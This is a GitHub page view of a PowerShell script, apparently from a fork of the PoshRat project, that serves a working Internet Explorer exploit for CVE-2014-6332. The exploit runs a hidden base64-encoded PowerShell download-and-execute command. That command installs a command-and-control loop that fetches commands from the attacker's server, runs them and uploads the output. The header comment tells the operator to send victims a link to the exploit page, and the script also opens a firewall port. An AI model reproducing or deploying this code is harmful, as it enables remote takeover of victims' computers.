forked from carnal0wnage/PoshRat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2014-6332.ps1
292 lines (240 loc) · 6.72 KB
/
CVE-2014-6332.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
<#
Simply Invoke the Script and send the target a link to http://192.168.1.1/app.html
To change your server, simply find and replace 192.168.1.1 with your server in the code.
For CVE-2014-6332 Encode your Command :
$command = 'iex (New-Object Net.WebClient).DownloadString("http://192.168.1.1/connect") '
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
Write-Host $encodedCommand
"aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxAC8AYwBvAG4AbgBlAGMAdAAiACkAIAA="
Add This to Line 83
#>
function Receive-Request {
param(
$Request
)
$output = ""
$size = $Request.ContentLength64 + 1
$buffer = New-Object byte[] $size
do {
$count = $Request.InputStream.Read($buffer, 0, $size)
$output += $Request.ContentEncoding.GetString($buffer, 0, $count)
} until($count -lt $size)
$Request.InputStream.Close()
write-host $output
}
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://+:80/')
netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null
netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null
$listener.Start()
'Listening ...'
while ($true) {
$context = $listener.GetContext() # blocks until request is received
$request = $context.Request
$response = $context.Response
$hostip = $request.RemoteEndPoint
#Use this for One-Liner Start
if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) {
write-host "Host Connected" -fore Cyan
$message = '
$s = "http://192.168.1.1/rat"
$w = New-Object Net.WebClient
while($true)
{
$r = $w.DownloadString("$s")
while($r) {
$o = invoke-expression $r | out-string
$w.UploadString("$s", $o)
break
}
}
'
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) {
Receive-Request($request)
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) {
$response.ContentType = 'text/plain'
$message = Read-Host "PS $hostip>"
}
if ($request.Url -match '/app.html$' -and ($request.HttpMethod -eq "GET")) {
$enc = [system.Text.Encoding]::UTF8
$response.ContentType = 'text/html'
$htacode = '<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set objShell=createobject("Wscript.shell")
ojbShell.run "powershell.exe -w hidden -ep bypass -encodedCommand aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxAC8AYwBvAG4AbgBlAGMAdAAiACkAIAA="
end function
</script>
<SCRIPT LANGUAGE="VBScript">
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray
Begin()
function Begin()
On Error Resume Next
info=Navigator.UserAgent
if(instr(info,"Win64")>0) then
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
win9x=0
BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
'' document.write(i)
Create=True
Exit For
End If
Next
end function
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
</script>
</body>
</html>'
$buffer = $enc.GetBytes($htacode)
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
continue
}
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
}
$listener.Stop()